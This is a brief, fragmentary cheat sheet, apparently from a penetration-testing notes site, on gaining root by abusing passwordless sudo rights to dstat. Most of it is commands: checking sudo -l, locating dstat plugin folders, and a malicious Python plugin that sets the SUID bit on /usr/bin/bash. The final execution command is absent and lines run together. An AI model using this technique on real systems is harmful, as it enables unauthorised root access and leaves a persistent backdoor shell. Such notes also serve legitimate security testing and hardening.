Sudo Dstat Privilege Escalation
Investigation
sudo -l
(ALL) NOPASSWD: /usr/bin/dstatExploitation
1. Create a New Dstat Plugin
find / -type d -name dstat 2>/dev/nullimport os
os.system('chmod +s /usr/bin/bash')dstat --list | grep exploit2. Execute Dstat with the Malicious Plugin
Last updated